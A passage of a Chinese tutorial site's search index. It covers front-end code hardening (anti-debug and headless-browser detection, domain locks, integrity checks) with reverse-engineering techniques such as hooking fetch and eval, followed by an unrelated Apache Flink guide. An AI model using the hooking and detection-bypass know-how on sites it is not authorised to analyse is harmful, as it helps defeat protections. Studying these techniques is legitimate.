WebAssembly: emcc encrypt.c -o encrypt.js -s EXPORTED_FUNCTIONS='[\"_encrypt\"]' 在 JavaScript 中调用: const Module = require(\"./encrypt.js\"); Module.onRuntimeInitialized = () =\u003e { const result = Module._encrypt(12345, 67890); console.log(\"Encrypted:\", result); }; 详见 WebAssembly 逆向 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:5:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#webassembly-编译"},{"categories":null,"collections":null,"content":"高级保护技术 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:6:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#高级保护技术"},{"categories":null,"collections":null,"content":"1. 代码分片 (Code Splitting) 原理: 将代码分散到多个文件，动态加载。 示例: // 主文件只包含加载器 const loader = { async loadModule(name) { const response = await fetch(`/modules/${name}.js`); const code = await response.text(); return eval(code); }, }; // 使用时动态加载 const crypto = await loader.loadModule(\"crypto\"); crypto.encrypt(data); ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:6:1","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#1-代码分片-code-splitting"},{"categories":null,"collections":null,"content":"2. 环境检测与反调试 检测 DevTools: // 方法1: 检测窗口尺寸 (function () { const threshold = 160; setInterval(() =\u003e { if ( window.outerHeight - window.innerHeight \u003e threshold || window.outerWidth - window.innerWidth \u003e threshold ) { console.log(\"DevTools detected!\"); debugger; // 触发断点 } }, 1000); })(); // 方法2: 利用 toString 检测 (function () { const element = new Image(); Object.defineProperty(element, \"id\", { get: function () { console.log(\"DevTools detected via property access!\"); debugger; }, }); console.log(element); })(); // 方法3: 检测 console (function () { const before = new Date(); debugger; const after = new Date(); if (after - before \u003e 100) { console.log(\"Debugger detected!\"); window.location = \"about:blank\"; } })(); 检测自动化工具: // 检测 Selenium if (navigator.webdriver) { console.log(\"Selenium detected!\"); } // 检测 Puppeteer/Playwright if (window.navigator.plugins.length === 0) { console.log(\"Headless browser detected!\"); } // 检测 PhantomJS if (window.callPhantom || window._phantom) { console.log(\"PhantomJS detected!\"); } ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:6:2","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#2-环境检测与反调试"},{"categories":null,"collections":null,"content":"3. 时间锁 (Time Lock) 原理: 代码在特定时间后失效。 示例: (function () { const expiryDate = new Date(\"2025-12-31\"); const now = new Date(); if (now \u003e expiryDate) { throw new Error(\"This code has expired\"); } // 正常逻辑 })(); ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:6:3","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#3-时间锁-time-lock"},{"categories":null,"collections":null,"content":"4. 域名绑定 (Domain Lock) 原理: 代码只在特定域名下运行。 示例: (function () { const allowedDomains = [\"example.com\", \"www.example.com\"]; const currentDomain = window.location.hostname; if (!allowedDomains.includes(currentDomain)) { throw new Error(\"Unauthorized domain\"); } })(); ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:6:4","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#4-域名绑定-domain-lock"},{"categories":null,"collections":null,"content":"5. 代码完整性校验 原理: 检测代码是否被修改。 示例: function checkIntegrity() { const scriptContent = document.querySelector(\"script\").textContent; const hash = CryptoJS.SHA256(scriptContent).toString(); const expectedHash = \"abc123...\"; // 预先计算的哈希 if (hash !== expectedHash) { throw new Error(\"Code tampering detected!\"); } } checkIntegrity(); ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:6:5","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#5-代码完整性校验"},{"categories":null,"collections":null,"content":"逆向分析方法 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:7:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#逆向分析方法"},{"categories":null,"collections":null,"content":"1. 自动化反混淆工具 Prettier: 美化代码 webcrack: 自动反混淆 de4js: 多种混淆器的反混淆 JSNice: 变量重命名 使用示例: # 使用 webcrack npx webcrack input.js -o output.js # 使用 de4js # 访问 https://lelinhtinh.github.io/de4js/ ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:7:1","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#1-自动化反混淆工具"},{"categories":null,"collections":null,"content":"2. 手动分析流程 步骤 1: 美化代码 // 使用 Prettier 或 JS Beautifier 步骤 2: 字符串解密 // Hook 解密函数 const _decode = window._0x1a2b; window._0x1a2b = function () { const result = _decode.apply(this, arguments); console.log(\"Decoded:\", result); return result; }; 步骤 3: 控制流还原 使用调试器单步执行 绘制控制流图 AST 转换工具 步骤 4: 变量重命名 // 通过上下文推断变量含义 // 使用 IDE 批量重命名 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:7:2","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#2-手动分析流程"},{"categories":null,"collections":null,"content":"3. 动态分析 Hook 关键函数: // Hook fetch const originalFetch = window.fetch; window.fetch = function (...args) { console.log(\"Fetch:\", args); return originalFetch.apply(this, args); }; // Hook WebSocket const originalWebSocket = window.WebSocket; window.WebSocket = function (url) { console.log(\"WebSocket:\", url); return new originalWebSocket(url); }; // Hook eval const originalEval = window.eval; window.eval = function (code) { console.log(\"Eval:\", code); return originalEval(code); }; ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:7:3","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#3-动态分析"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:8:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#最佳实践"},{"categories":null,"collections":null,"content":"开发者（加固方） 多层防护: 混淆 + 虚拟机 + WebAssembly 不要依赖单一保护 关键代码服务器端: 敏感算法放在后端 前端只做展示 定期更新: 混淆策略定期变化 检测绕过方法并更新 性能平衡: 过度混淆影响性能 评估保护强度与性能损失 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:8:1","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#开发者加固方"},{"categories":null,"collections":null,"content":"逆向分析者 自动化优先: 先尝试自动化工具 节省时间成本 动态分析为主: Hook 关键函数 运行时观察行为 分模块攻克: 识别核心逻辑 其他部分可以忽略 合法合规: 仅在授权范围内分析 遵守法律法规 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:8:2","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#逆向分析者"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:9:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#常见问题"},{"categories":null,"collections":null,"content":"Q: 前端加固能完全防止逆向吗？ A: 不能。前端代码最终在用户浏览器中执行，理论上可以被完全逆向。加固只能提高逆向难度和成本，延缓攻击者，但无法完全阻止。 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:9:1","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#q-前端加固能完全防止逆向吗"},{"categories":null,"collections":null,"content":"Q: 哪种加固方式最有效？ A: 没有绝对最有效的单一方法。最佳实践是： 多层防护（混淆 + VM + Wasm） 关键逻辑服务器端处理 定期更新防护策略 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:9:2","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#q-哪种加固方式最有效"},{"categories":null,"collections":null,"content":"Q: 混淆会影响性能吗？ A: 会。不同程度的混淆影响不同： 变量名混淆：几乎无影响 控制流平坦化：显著影响（10-50%） 虚拟机保护：重大影响（2-10 倍慢） 需要在安全性和性能间权衡。 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:9:3","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#q-混淆会影响性能吗"},{"categories":null,"collections":null,"content":"Q: 如何检测代码是否被混淆？ A: // 检测特征 const indicators = { shortVarNames: /^[a-z_$][0-9]{1,4}$/.test(someVar), hexStrings: code.includes(\"\\\\x\"), evalUsage: code.includes(\"eval(\"), longLines: code.split(\"\\n\").some((l) =\u003e l.length \u003e 500), switchCases: (code.match(/switch/g) || []).length \u003e 10, }; console.log(\"Obfuscation indicators:\", indicators); ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:9:4","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#q-如何检测代码是否被混淆"},{"categories":null,"collections":null,"content":"相关章节 JavaScript 虚拟机保护 WebAssembly 逆向 JavaScript 反混淆 调试技巧 AST 工具 ","date":"2025-08-10","objectID":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/:10:0","tags":["Web","WebAssembly","加密分析","Hook","进阶","Playwright"],"title":"前端加固技术详解","uri":"/reverse_engineering/web/04-advanced-recipes/frontend_hardening/#相关章节"},{"categories":null,"collections":null,"content":"Apache Flink 实时流处理 Apache Flink 是一个分布式流处理框架，专为低延迟、高吞吐量的实时数据处理而设计。 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:0:0","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#apache-flink-实时流处理"},{"categories":null,"collections":null,"content":"Flink 架构 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:1:0","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#flink-架构"},{"categories":null,"collections":null,"content":"集群架构 ├── ResourceManager └── JobMaster ↓ TaskManager1 TaskManager2 TaskManager3 ├── Task Slot1 ├── Task Slot1 ├── Task Slot1 ├── Task Slot2 ├── Task Slot2 ├── Task Slot2 └── Task Slot3 └── Task Slot3 └── Task Slot3 组件 说明 TaskManager 执行具体任务，管理内存和网络 Dispatcher 接收作业提交，启动 JobMaster ResourceManager 管理 TaskManager 资源 JobMaster 管理单个作业的执行 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:1:1","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#集群架构"},{"categories":null,"collections":null,"content":"运行时架构 Operator1 → Operator2 → Operator3 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:1:2","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#运行时架构"},{"categories":null,"collections":null,"content":"核心概念 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:2:0","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#核心概念"},{"categories":null,"collections":null,"content":"基本示例 StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); DataStream\u003cString\u003e stream = env .socketTextStream(\"localhost\", 9999) .flatMap(new Tokenizer()) .keyBy(value -\u003e value.f0) .window(TumblingProcessingTimeWindows.of(Time.seconds(5))) .sum(1); env.execute(\"Word Count\"); ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:2:1","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#基本示例"},{"categories":null,"collections":null,"content":"数据类型 // 1. 基本类型 DataStream\u003cInteger\u003e intStream; // 2. 元组类型 DataStream\u003cTuple2\u003cString, Integer\u003e\u003e tupleStream; // 3. POJO 类型 public class WordCount { public String word; public int count; // constructors, getters, setters } DataStream\u003cWordCount\u003e pojoStream; // 4. Row 类型（动态） DataStream\u003cRow\u003e rowStream; ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:2:2","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#数据类型"},{"categories":null,"collections":null,"content":"DataStream API ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:3:0","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#datastream-api"},{"categories":null,"collections":null,"content":"数据源 (Source) StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); // 1. 从集合创建 DataStream\u003cString\u003e fromCollection = env.fromCollection(Arrays.asList(\"a\", \"b\", \"c\")); // 2. 从文件系统 DataStream\u003cString\u003e fromFile = env.readTextFile(\"path/to/file\"); // 3. 从 Kafka Properties props = new Properties(); props.setProperty(\"bootstrap.servers\", \"localhost:9092\"); props.setProperty(\"group.id\", \"test\"); DataStream\u003cString\u003e fromKafka = env.addSource( new FlinkKafkaConsumer\u003c\u003e(\"topic\", new SimpleStringSchema(), props)); // 4. 自定义数据源 DataStream\u003cString\u003e customSource = env.addSource(new CustomSourceFunction()); 自定义 Source public class CustomSourceFunction implements SourceFunction\u003cString\u003e { private volatile boolean running = true; @Override public void run(SourceContext\u003cString\u003e ctx) throws Exception { while (running) { ctx.collect(\"data-\" + System.currentTimeMillis()); Thread.sleep(1000); } } @Override public void cancel() { running = false; } } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:3:1","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#数据源-source"},{"categories":null,"collections":null,"content":"数据源 (Source) StreamExecutionEnvironment env = StreamExecutionEnvironment.getExecutionEnvironment(); // 1. 从集合创建 DataStream fromCollection = env.fromCollection(Arrays.asList(\"a\", \"b\", \"c\")); // 2. 从文件系统 DataStream fromFile = env.readTextFile(\"path/to/file\"); // 3. 从 Kafka Properties props = new Properties(); props.setProperty(\"bootstrap.servers\", \"localhost:9092\"); props.setProperty(\"group.id\", \"test\"); DataStream fromKafka = env.addSource( new FlinkKafkaConsumer\u003c\u003e(\"topic\", new SimpleStringSchema(), props)); // 4. 自定义数据源 DataStream customSource = env.addSource(new CustomSourceFunction()); 自定义 Source public class CustomSourceFunction implements SourceFunction { private volatile boolean running = true; @Override public void run(SourceContext ctx) throws Exception { while (running) { ctx.collect(\"data-\" + System.currentTimeMillis()); Thread.sleep(1000); } } @Override public void cancel() { running = false; } } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:3:1","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#自定义-source"},{"categories":null,"collections":null,"content":"转换操作 (Transformation) // 1. Map - 一对一转换 DataStream\u003cString\u003e mapped = input.map(String::toUpperCase); // 2. FlatMap - 一对多转换 DataStream\u003cString\u003e flatMapped = input.flatMap( (String line, Collector\u003cString\u003e out) -\u003e { for (String word : line.split(\" \")) { out.collect(word); } }); // 3. Filter - 过滤 DataStream\u003cString\u003e filtered = input.filter(s -\u003e s.startsWith(\"error\")); // 4. KeyBy - 分组 KeyedStream\u003cTuple2\u003cString, Integer\u003e, String\u003e keyed = tupleStream.keyBy(value -\u003e value.f0); // 5. Reduce - 聚合 DataStream\u003cTuple2\u003cString, Integer\u003e\u003e reduced = keyed.reduce((a, b) -\u003e new Tuple2\u003c\u003e(a.f0, a.f1 + b.f1)); // 6. Aggregate - 自定义聚合 DataStream\u003cDouble\u003e aggregated = keyed.aggregate(new AverageAggregate()); 自定义聚合函数 public class AverageAggregate implements AggregateFunction\u003cTuple2\u003cString, Integer\u003e, Tuple2\u003cLong, Long\u003e, Double\u003e { @Override public Tuple2\u003cLong, Long\u003e createAccumulator() { return new Tuple2\u003c\u003e(0L, 0L); } @Override public Tuple2\u003cLong, Long\u003e add(Tuple2\u003cString, Integer\u003e value, Tuple2\u003cLong, Long\u003e accumulator) { return new Tuple2\u003c\u003e(accumulator.f0 + value.f1, accumulator.f1 + 1L); } @Override public Double getResult(Tuple2\u003cLong, Long\u003e accumulator) { return ((double) accumulator.f0) / accumulator.f1; } @Override public Tuple2\u003cLong, Long\u003e merge(Tuple2\u003cLong, Long\u003e a, Tuple2\u003cLong, Long\u003e b) { return new Tuple2\u003c\u003e(a.f0 + b.f0, a.f1 + b.f1); } } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:3:2","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#转换操作-transformation"},{"categories":null,"collections":null,"content":"转换操作 (Transformation) // 1. Map - 一对一转换 DataStream mapped = input.map(String::toUpperCase); // 2. FlatMap - 一对多转换 DataStream flatMapped = input.flatMap( (String line, Collector out) -\u003e { for (String word : line.split(\" \")) { out.collect(word); } }); // 3. Filter - 过滤 DataStream filtered = input.filter(s -\u003e s.startsWith(\"error\")); // 4. KeyBy - 分组 KeyedStream","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:3:2","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#自定义聚合函数"},{"categories":null,"collections":null,"content":"数据输出 (Sink) // 1. 打印输出 stream.print(); // 2. 写入文件 stream.writeAsText(\"path/to/output\"); // 3. 写入 Kafka Properties props = new Properties(); props.setProperty(\"bootstrap.servers\", \"localhost:9092\"); stream.addSink(new FlinkKafkaProducer\u003c\u003e(\"output-topic\", new SimpleStringSchema(), props)); // 4. 写入数据库 stream.addSink(new CustomSinkFunction()); 自定义 Sink public class CustomSinkFunction extends RichSinkFunction\u003cString\u003e { private Connection connection; @Override public void open(Configuration parameters) throws Exception { // 初始化数据库连接 connection = DriverManager.getConnection( \"jdbc:mysql://localhost:3306/test\", \"user\", \"password\"); } @Override public void invoke(String value, Context context) throws Exception { // 执行插入操作 PreparedStatement stmt = connection.prepareStatement( \"INSERT INTO table VALUES (?)\"); stmt.setString(1, value); stmt.executeUpdate(); } @Override public void close() throws Exception { if (connection != null) { connection.close(); } } } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:3:3","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#数据输出-sink"},{"categories":null,"collections":null,"content":"数据输出 (Sink) // 1. 打印输出 stream.print(); // 2. 写入文件 stream.writeAsText(\"path/to/output\"); // 3. 写入 Kafka Properties props = new Properties(); props.setProperty(\"bootstrap.servers\", \"localhost:9092\"); stream.addSink(new FlinkKafkaProducer\u003c\u003e(\"output-topic\", new SimpleStringSchema(), props)); // 4. 写入数据库 stream.addSink(new CustomSinkFunction()); 自定义 Sink public class CustomSinkFunction extends RichSinkFunction { private Connection connection; @Override public void open(Configuration parameters) throws Exception { // 初始化数据库连接 connection = DriverManager.getConnection( \"jdbc:mysql://localhost:3306/test\", \"user\", \"password\"); } @Override public void invoke(String value, Context context) throws Exception { // 执行插入操作 PreparedStatement stmt = connection.prepareStatement( \"INSERT INTO table VALUES (?)\"); stmt.setString(1, value); stmt.executeUpdate(); } @Override public void close() throws Exception { if (connection != null) { connection.close(); } } } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:3:3","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#自定义-sink"},{"categories":null,"collections":null,"content":"状态管理 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:4:0","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#状态管理"},{"categories":null,"collections":null,"content":"Keyed State public class StatefulMap extends RichMapFunction\u003cTuple2\u003cString, Integer\u003e, Tuple2\u003cString, Integer\u003e\u003e { private ValueState\u003cInteger\u003e sumState; @Override public void open(Configuration config) { ValueStateDescriptor\u003cInteger\u003e descriptor = new ValueStateDescriptor\u003c\u003e(\"sum\", Integer.class); sumState = getRuntimeContext().getState(descriptor); } @Override public Tuple2\u003cString, Integer\u003e map(Tuple2\u003cString, Integer\u003e input) throws Exception { Integer currentSum = sumState.value(); if (currentSum == null) { currentSum = 0; } currentSum += input.f1; sumState.update(currentSum); return new Tuple2\u003c\u003e(input.f0, currentSum); } } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:4:1","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#keyed-state"},{"categories":null,"collections":null,"content":"Operator State public class BufferingSink implements SinkFunction\u003cString\u003e, CheckpointedFunction { private List\u003cString\u003e bufferedElements = new ArrayList\u003c\u003e(); private ListState\u003cString\u003e checkpointedState; @Override public void snapshotState(FunctionSnapshotContext context) throws Exception { checkpointedState.clear(); for (String element : bufferedElements) { checkpointedState.add(element); } } @Override public void initializeState(FunctionInitializationContext context) throws Exception { ListStateDescriptor\u003cString\u003e descriptor = new ListStateDescriptor\u003c\u003e(\"buffered-elements\", String.class); checkpointedState = context.getOperatorStateStore().getListState(descriptor); if (context.isRestored()) { for (String element : checkpointedState.get()) { bufferedElements.add(element); } } } } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:4:2","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#operator-state"},{"categories":null,"collections":null,"content":"状态后端配置 // 1. MemoryStateBackend (开发测试) env.setStateBackend(new MemoryStateBackend()); // 2. FsStateBackend (生产推荐) env.setStateBackend(new FsStateBackend(\"hdfs://namenode:port/flink-checkpoints\")); // 3. RocksDBStateBackend (大状态) env.setStateBackend(new RocksDBStateBackend(\"hdfs://namenode:port/flink-checkpoints\")); // 配置 env.enableCheckpointing(60000); // 60 秒 checkpoint 一次 env.getCheckpointConfig().setCheckpointingMode(CheckpointingMode.EXACTLY_ONCE); env.getCheckpointConfig().setMinPauseBetweenCheckpoints(30000); env.getCheckpointConfig().setCheckpointTimeout(600000); ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:4:3","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#状态后端配置"},{"categories":null,"collections":null,"content":"时间与窗口 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:5:0","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#时间与窗口"},{"categories":null,"collections":null,"content":"时间语义 // 1. Processing Time (处理时间) env.setStreamTimeCharacteristic(TimeCharacteristic.ProcessingTime); // 2. Event Time (事件时间) env.setStreamTimeCharacteristic(TimeCharacteristic.EventTime); // 3. Watermark (水位线) stream.assignTimestampsAndWatermarks( WatermarkStrategy.\u003cEvent\u003eforBoundedOutOfOrderness(Duration.ofSeconds(10)) .withTimestampAssigner((event, timestamp) -\u003e event.getTimestamp())); ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:5:1","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#时间语义"},{"categories":null,"collections":null,"content":"时间窗口 // 滚动窗口 (Tumbling Window) stream.keyBy(...) .window(TumblingEventTimeWindows.of(Time.minutes(5))) .sum(1); // 滑动窗口 (Sliding Window) stream.keyBy(...) .window(SlidingEventTimeWindows.of(Time.minutes(10), Time.minutes(2))) .sum(1); // 会话窗口 (Session Window) stream.keyBy(...) .window(EventTimeSessionWindows.withGap(Time.minutes(30))) .sum(1); ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:5:2","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#时间窗口"},{"categories":null,"collections":null,"content":"计数窗口 // 滚动计数窗口 stream.keyBy(...) .countWindow(100) .sum(1); // 滑动计数窗口 stream.keyBy(...) .countWindow(100, 10) .sum(1); ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:5:3","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#计数窗口"},{"categories":null,"collections":null,"content":"窗口函数 // 1. ReduceFunction stream.keyBy(...) .window(TumblingEventTimeWindows.of(Time.minutes(5))) .reduce(new SumReduceFunction()); // 2. AggregateFunction stream.keyBy(...) .window(TumblingEventTimeWindows.of(Time.minutes(5))) .aggregate(new AverageAggregateFunction()); // 3. ProcessWindowFunction stream.keyBy(...) .window(TumblingEventTimeWindows.of(Time.minutes(5))) .process(new MyProcessWindowFunction()); public class MyProcessWindowFunction extends ProcessWindowFunction\u003cTuple2\u003cString, Integer\u003e, String, String, TimeWindow\u003e { @Override public void process(String key, Context context, Iterable\u003cTuple2\u003cString, Integer\u003e\u003e elements, Collector\u003cString\u003e out) { int count = 0; for (Tuple2\u003cString, Integer\u003e element : elements) { count++; } out.collect(\"Window: \" + context.window() + \" count: \" + count); } } ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:5:4","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#窗口函数"},{"categories":null,"collections":null,"content":"容错机制 ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:6:0","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#容错机制"},{"categories":null,"collections":null,"content":"Checkpoint 配置 // 启用 Checkpoint env.enableCheckpointing(60000, CheckpointingMode.EXACTLY_ONCE); // 配置 Checkpoint CheckpointConfig config = env.getCheckpointConfig(); config.setMinPauseBetweenCheckpoints(30000); config.setCheckpointTimeout(600000); config.setMaxConcurrentCheckpoints(1); config.enableExternalizedCheckpoints(ExternalizedCheckpointCleanup.RETAIN_ON_CANCELLATION); // 重启策略 env.setRestartStrategy(RestartStrategies.fixedDelayRestart( 3, // 重启次数 Time.of(10, TimeUnit.SECONDS) // 重启间隔 )); // 指数退避重启策略 env.setRestartStrategy(RestartStrategies.exponentialDelayRestart( Time.milliseconds(1), // 初始延迟 Time.milliseconds(1000), // 最大延迟 1.2, // 指数基数 Time.milliseconds(5000), // 重置阈值 0.1 // 抖动因子 )); ","date":"2025-08-09","objectID":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/:6:1","tags":["大数据","工程实践","签名验证"],"title":"Apache Flink 实时流处理","uri":"/reverse_engineering/android/04-reference/engineering/data-analysis/flink/#checkpoint-配置"},{"categories":null,"collections":null,"content":"Savepoint 操作 # 创建 Savepoint bin/flink 